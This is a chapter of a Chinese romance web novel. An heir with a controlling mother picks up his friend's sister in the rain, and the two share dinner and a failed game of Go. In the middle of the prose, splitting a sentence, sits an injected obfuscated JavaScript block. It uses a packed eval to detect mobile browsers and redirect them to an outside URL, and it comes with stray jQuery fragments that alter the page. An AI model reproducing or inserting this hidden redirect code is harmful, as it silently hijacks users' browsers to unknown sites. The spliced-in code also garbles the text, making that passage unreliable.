每月月初是江听白固定回家的日子，他母亲定下的规矩，他和父亲必须无条件遵守。
提着猫回家，换了身干净衣服，司机早已经在楼下等着了。
“吴医生，刚才忘了问你，膨润土和豆腐猫砂，哪一种对幼猫更合适？”
后排真皮座椅上，江听白给宠物医院打去电话，又问了几个关于猫咪饲养的问题，语气平淡得跟讨论企划方案没什么太大区别。
江听白没有迟到的习惯，准时准点，是他从小刻进骨子里的修养。
可这次，他不仅迟到了，一上车还打了这么一通匪夷所思的电话。
司机频频看向后视镜，欲言又止。
挂断电话，江听白垂落着眼睫，长腿交叠，在膝头翻看报表：“有什么话就说。”
话来得很突然，司机正偷瞄，吓了一跳，组织语言，试探着提醒：“夫人她……不喜欢宠物。”
江听白手一顿，文件停在那页，“知道。”
江家也在城西，与程家同属一片别墅区，距离不算远。
江听白进门的时候，江母崔晚樱在修剪花枝，黑发梳得油亮，盘在头上，一丝多余的碎发都没有，姿态雍容优雅：“回来了？”
“嗯。”
“把那把剪刀递给我。”
江听白拿起桌角的园艺剪，双手递过去。
剪刀“咔嚓咔嚓”脆响，杂乱的枝叶簌簌往下落，崔晚樱没抬头，漫不经心问：“你最近去聂家小儿子的酒吧了？”
空气突然安静了。
“您又派人查我了？”
“跟妈妈怎么能用‘查’这个字呢？”崔晚樱放下剪刀，目光落在江听白的脸上，不轻不重，“我这是在关心你。”
“那种地方不好。”她说。
不是建议，也没有商量。
“以后不要再去了。”
字字分明，句句温软，但每个字都像是钉子，一颗一颗钉进傍晚的寂静里，不容抗拒。
江听白没有说话，也没有看她。
崔晚樱眉心微蹙，语调依旧柔和：“笑一笑，妈妈以前是怎么跟你说的？”
喜怒不行于色，方能在商场上滴水不漏，哪怕心如刀割，脸上也要带着笑，这才是合格的江家继承人。
江听白还是没有动，她就那么盯着他，目光像一根看不见的线，慢慢收紧。
直到——
他唇间动了动，勉强上扬了一点弧度。
“这样才对。”崔晚樱优雅的笑了，笑容恰到好处。她伸出手，轻轻拍了拍儿子的肩膀，“身上什么味道？这么难闻。”
“上楼去，洗个澡。”
江听白往楼上走，身后，咔嚓咔嚓的剪刀声再次响起。他站在楼梯上回头看，那棵景观绿植被修得亭亭玉立，连个乱枝都没有。
洗完澡出来，手机上有个未接来电，周朝阳打来的。
他不知道在哪，背景音静得异常。
“你今晚有没有事？帮我去接一下程禾，我临时有事实在走不开。”他问江听白，声音倦懒，也不具体说。
江听白猜一定是要紧事，毕竟在周朝阳那里，程禾总是有着最高优先级，很少有事能排到她前面。
“我今天回老宅。”
人边回答边往楼下走，刚走到楼梯拐角，楼下的声音清晰地漫上来，是崔晚樱在指挥。
“那盘菜，撤掉，别放那儿。”
“桌布换成蓝色的，这块白的不要。”
佣人手脚麻利，新的蓝很快铺上餐桌。那蓝太深，太满，把窗外仅剩的一点天光都吸进去，整间屋子一层层暗下去。
江听白攥紧楼梯扶手，指节凸起，他对着手机那头的人恍惚问：“你刚才说什么？”
“我说你有事就算了，我叫老三过去，实在不行还有司……”
江听白打断他：“行，我有空。”
夜晚，雨越下越大，天幕阴沉，黑压压的，透不出一点光。
程禾站在教学楼的屋檐底下，看着檐水连成一条线，眼前的景物被切割成模糊的色块。
她裙摆溅上几个泥点，鞋尖洇湿了一圈，碎钻发卡被雨雾濡湿，沉甸甸地往下坠，压得头皮发疼。
手机没电了。
她哥也不知道堵在哪条路上。
雨水不停往屋檐里潲，她往后退一步，脚后跟磕上门槛，疼得轻嘶一声，眼眶倏地泛上潮红，也不是想哭，纯是气的。
雨幕里忽然多出一道影子。
黑色的伞面最先撞进视野，伞沿缓慢抬起，露出截精瘦的手臂，袖子挽到手肘，血管凸起在薄薄的皮肤下，手腕上带着支表，表盘在雨丝中泛着冰冰凉凉的光泽。
最后才是那张意料之外的脸——江听白。
雨还在下，细细密密地织在他身后，四周的光都淡了下去，只有他站的那一处，有种清冽的亮。
他站在台阶下面，离她还有两级台阶的距离，伞沿堪堪掠过她的头顶。雨从他肩侧滑落，白衬衫的肩胛位置洇出几星深色。
“你怎么在这儿？”程禾低头问他，尾音还带着刚才那股子恼意，听着硬邦邦的。
“你哥让我来接你。”
“他呢？”
“他临时有事，来不了了。”
“什么事？”
“不知道，他没说。”
程禾抿唇不吭声了，这个答案明显不是她想要的，人也是。
江听白把伞又往她那边倾了倾，伞面彻底罩住她头顶，噼里啪啦的雨声闷成一片模糊的白噪音。
雨珠顺着伞面滑落，在她身后连成一道透明的帘。
程禾闷声又问：“你怎么知道我在这儿？”
“看见了。”
黑夜里白裙翩跹，很显眼的一个。
程禾把下巴一抬，大小姐脾气上来，又在找茬：“看见了，你怎么不早点儿过来？”
“跑过来，鞋会湿。”江听白平静陈述，“也会脏。”
程禾差点没绷住表情，没好气拔高声调：“走不走？”
雨一时没有要停的意思。
程禾回公寓也没人，冷锅冷灶，她又不会做，刚好江听白也没吃，两个人临时凑一起吃晚饭。
路边随便选了家中式餐馆，下雨天也没阻碍老板生意，门庭若市，全坐满了。他们等了几分钟，刚好空出来一桌。
程禾点了盘鱼，刚吃了一口就吐出来：“呸，好难吃。”
筷子往桌上一撂，抽纸擦嘴，她慢悠悠来了一句：“得，这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310990|198841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鱼算是白死了。”
江听白没接话，唇角微微扬起，算作回应。
“不想笑就别笑。”程禾浓长的眼睫卷起，盯着他唇角那个虚假的弧度，语气直接又嫌弃，“很丑。”
她抬起手，纤白的指尖悬在半空，虚虚挡住他下半张脸，视线越过那个僵住的弧度，直直望进他眼底。
“好像，也没在笑。”
江听白眸光一滞，竹筷悬停在半空：“吃饭时研究别人的笑容是你的习惯吗？”
“不好吃就说难吃，不开心就说难过，有脾气就不要憋着，这不才是一个人最本能的情绪习惯吗？”
“江听白，你——”程禾撑着腮，眼波微微流转，美眸一乜：“不是人啊？”
嗓音慵软，上挑的尾音带着点挑事的痒。
江听白笑意稀薄，几乎殆尽，他低头，看着碗里冒着热气的米饭，一时竟不知道到底该用什么表情。
相比起他，程禾情绪本能明显表现得更足。
她不仅用骨头在桌上摆出明晃晃的“难吃”两字，临走还不忘把鱼肉塞进鱼嘴里：“你自己也好好尝尝吧。”
江听白买完单，看见程禾站在店门口，夜风吹起门帘，发丝轻拂过脸颊，她垂眸盯着围棋，表情很认真。
他站在她身边，“会下吗？”
“会。”
程禾回答得很快，没有丁点思考。
那应该是有大本事了。
店外雨丝如织，模糊了远处的街灯，江听白收回视线，提议：“下局再走？”
程禾在他对面落了座，两根白皙纤细的手指捻起棋子，尾指半翘，悬在半空，眼睛盯着纵横交错的棋盘，久久不动。
“黑子先行。”江听白轻声提醒。
“知道。”程禾好看的眉毛微微拧起，语气里透着点不耐，“我这是在思考。”
江听白便不再开口，抵着下颌，视线投向玻璃外的雨雾，眉眼间清冷得有几分不真切。
经过漫长的思索之后，程禾终于落子，她抬头，朝江听白扬扬下巴，眼底藏着星星点点的得意。
“该你了。”
江听白侧过脸，目光拂过她的面颊，极轻地一顿，便垂落棋盘。
那枚“深思熟虑”的黑子正静静躺在方块格里。
时间静了静。
又静了静。
江听白站起身：“我们还是走吧。”
程禾一脸茫然：“不是要下棋吗？为什么突然要走？”
她看看他，又看看棋盘，陷入自我怀疑：“不是这个下法吗？”
江听白眉眼慢慢舒展开，唇角和眼睛小幅度弯起来，弯出道极浅的弧度。他笑了下，很轻的一声，但程禾还是听见了。
“你……”她猛然抬头，一双漂亮的眼睛瞪得滚圆，“你该不会是在嘲笑我吧？”
江听白弯腰拾起黑伞，侧头，眉梢眼角漾着温柔笑意：“走啦。”
高挑清瘦的背影踏入茫茫雨雾，脚步从容的走在前面，程禾一跺脚，踩着高跟鞋，咯噔咯噔追上去。
娇纵的声音追着他的后背。
“江听白！你就是在嘲笑我对吧！”
“不会下围棋有什么好奇怪的？”
“喂——！”